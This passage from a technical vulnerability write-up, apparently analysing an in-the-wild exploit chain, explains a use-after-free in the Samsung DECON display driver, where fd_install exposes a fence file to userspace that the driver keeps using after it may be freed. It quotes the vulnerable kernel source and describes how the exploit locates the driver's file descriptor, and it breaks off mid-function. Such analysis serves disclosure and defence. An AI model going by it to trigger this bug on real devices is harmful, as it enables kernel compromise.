<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Next the exploit needs to find the full file path for the DECON driver. The full file path can exist in a few different places on the filesystem so to find which one it is on this device, the exploit iterates through the </span><span class="vdnyYxSRCi-c2">/proc/<PID>/fd/</span><span> directory looking for any file path that contains “</span><span class="vdnyYxSRCi-c2">graphics/fb0</span><span>”, the DECON driver. It uses </span><span class="vdnyYxSRCi-c2">readlink</span><span> to find the file path for each </span><span class="vdnyYxSRCi-c2">/proc/<PID>/fd/<fd></span><span>. The </span><span class="vdnyYxSRCi-c2">semclipboard</span><span class="vdnyYxSRCi-c7"> vulnerability (vulnerability #1) is then used to get the raw file descriptor for the DECON driver path. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><h2 class="vdnyYxSRCi-c17 vdnyYxSRCi-c8" id="h.tv7cyox27woi"><span class="vdnyYxSRCi-c16">Triggering the Use-After-Free</span></h2>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The vulnerability is in the </span><span class="vdnyYxSRCi-c2">decon_set_win_config</span><span> function in the Samsung DECON driver. The vulnerability is a </span><span>relatively common use-after-free pattern in kernel drivers. First, the driver acquires an fd for a </span><span>fence</span><span>. This fd is associated with a file pointer in a </span><span class="vdnyYxSRCi-c2">sync_file</span><span> struct, specifically the </span><span class="vdnyYxSRCi-c2">file</span><span> member. A “</span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://www.kernel.org/doc/html/latest/driver-api/sync_file.html">fence</a></span><span class="vdnyYxSRCi-c7">” is used for sharing buffers and synchronizing access between drivers and different processes. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.79013f3cd36b222e13f8754dff072e9c46a78a1d"></a><a id="t.16"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20">/**</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * struct sync_file - sync file to export to the userspace</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * @file: file representing this fence</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * @sync_file_list: membership in global file list</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * @wq: wait queue for fence signaling</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * @fence: fence with the fences in the sync_file</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * @cb: fence callback information</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> */</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> sync_file </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c5 vdnyYxSRCi-c9">struct</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> file </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">*</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c20">/**</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * @user_name:</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> *</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * Name of the sync file provided by userspace, for merged fences.</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * Otherwise generated through driver callbacks (in which case the</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * entire array is 0).</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> */</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">char</span><span class="vdnyYxSRCi-c4"> user_name</span><span class="vdnyYxSRCi-c0">[</span><span class="vdnyYxSRCi-c13">32</span><span class="vdnyYxSRCi-c0">];</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20">#ifdef</span><span class="vdnyYxSRCi-c3"> CONFIG_DEBUG_FS</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> list_head sync_file_list</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20">#endif</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> wait_queue_head_t wq</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">unsigned</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">long</span><span class="vdnyYxSRCi-c4"> flags</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> dma_fence </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">fence</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> dma_fence_cb cb</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">};</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The driver then calls </span><span class="vdnyYxSRCi-c2">fd_install</span><span> on the </span><span>fd and file pointer, which makes the fd</span><span> accessible from userspace and transfers ownership of the reference to the fd table. Userspace is able to call </span><span class="vdnyYxSRCi-c2">close</span><span class="vdnyYxSRCi-c7"> on that fd. If that fd holds the only reference to the file struct, then the file struct is freed. However, the driver continues to use the pointer to that freed file struct.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.3acf649b0273fce30d25bdc90665e3e537859c59"></a><a id="t.17"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5">static</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> decon_set_win_config</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> decon_device </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">decon</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> decon_win_config_data </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">win_data</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> num_of_window </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> decon_reg_data </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">regs</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> sync_file </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">sync_file</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> i</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> j</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> ret </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">[...]</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> num_of_window </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> decon_get_active_win_count</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">decon</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> win_data</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">num_of_window</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">win_data</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">-></span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">retire_fence </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">=</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> decon_create_fence</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">(</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">decon</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">,</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">&</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">sync_file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">win_data</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">retire_fence </span><span class="vdnyYxSRCi-c0"><</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">goto</span><span class="vdnyYxSRCi-c4"> err_prepare</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">else</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">[...]</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">num_of_window</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">fd_install</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">(</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">win_data</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">-></span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">retire_fence</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">,</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> sync_file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">-></span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">decon_create_release_fences</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">(</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">decon</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">,</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> win_data</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">,</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> sync_file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">)</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20">#if !defined(CONFIG_SUPPORT_LEGACY_FENCE)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> regs</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">retire_fence </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> dma_fence_get</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">sync_file</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">fence</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20">#endif</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">[...]</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> ret</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c33">}</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>In this case, </span><span class="vdnyYxSRCi-c2">decon_set_win_config</span><span> acquires the </span><span>fd</span><span> for </span><span class="vdnyYxSRCi-c2">retire_fence</span><span> in </span><span class="vdnyYxSRCi-c2">decon_create_fence</span><span class="vdnyYxSRCi-c7">.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.1cdd8ca32332a13a24b96424b52e329a1e3820d4"></a><a id="t.18"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> decon_create_fence</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> decon_device </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">decon</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> sync_file </span><span class="vdnyYxSRCi-c0">**</span><span class="vdnyYxSRCi-c4">sync_file</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> dma_fence </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">fence</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> fd </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">EMFILE</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> fence </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> kzalloc</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c5">sizeof</span><span class="vdnyYxSRCi-c0">(*</span><span class="vdnyYxSRCi-c4">fence</span><span class="vdnyYxSRCi-c0">),</span><span class="vdnyYxSRCi-c4"> GFP_KERNEL</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(!</span><span class="vdnyYxSRCi-c4">fence</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">ENOMEM</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> dma_fence_init</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">fence</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">&</span><span class="vdnyYxSRCi-c4">decon_fence_ops</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">&</span><span class="vdnyYxSRCi-c4">decon</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">fence</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c5">lock</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> decon</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">fence</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">context</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> atomic_inc_return</span><span class="vdnyYxSRCi-c0">(&</span><span class="vdnyYxSRCi-c4">decon</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">fence</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">timeline</span><span class="vdnyYxSRCi-c0">));</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">sync_file </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> sync_file_create</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">fence</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> dma_fence_put</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">fence</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(!(*</span><span class="vdnyYxSRCi-c4">sync_file</span><span class="vdnyYxSRCi-c0">))</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> decon_err</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"%s: failed to create sync file\n"</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> __func__</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">ENOMEM</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">fd </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">=</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> decon_get_valid_fd</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">();</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">fd </span><span class="vdnyYxSRCi-c0"><</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> decon_err</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"%s: failed to get unused fd\n"</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> __func__</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> fput</span><span class="vdnyYxSRCi-c0">((*</span><span class="vdnyYxSRCi-c4">sync_file</span><span class="vdnyYxSRCi-c0">)-></span><span class="vdnyYxSRCi-c4">file</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> fd</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">}</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The function then calls </span><span class="vdnyYxSRCi-c2">fd_install(win_data->retire_fence, sync_file->file)</span><span> which means that userspace can now access the fd. When </span><span class="vdnyYxSRCi-c2">fd_install</span><span> is called, another reference is not taken on the file so when userspace calls </span><span class="vdnyYxSRCi-c2">close(fd)</span><span>, the only reference on the file is dropped and the file struct is freed. The issue is that after calling </span><span class="vdnyYxSRCi-c2">fd_install</span><span> the function then calls </span><span class="vdnyYxSRCi-c2">decon_create_release_fences(decon, win_data, sync_file)</span><span> with the same </span><span class="vdnyYxSRCi-c2">sync_file</span><span> that contains the pointer to the freed file struct.</span><span class="vdnyYxSRCi-c7"> </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.07bbc43ea1d81ec2c0dcdfead664a1f6cc977475"></a><a id="t.19"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5">void</span><span class="vdnyYxSRCi-c4"> decon_create_release_fences</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> decon_device </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">decon</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> decon_win_config_data </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">win_data</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> sync_file </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">sync_file</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> i </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">for</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">i </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">;</span><span class="vdnyYxSRCi-c4"> i </span><span class="vdnyYxSRCi-c0"><</span><span class="vdnyYxSRCi-c4"> decon</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">dt</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">max_win</span><span class="vdnyYxSRCi-c0">;</span><span class="vdnyYxSRCi-c4"> i</span><span class="vdnyYxSRCi-c0">++)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
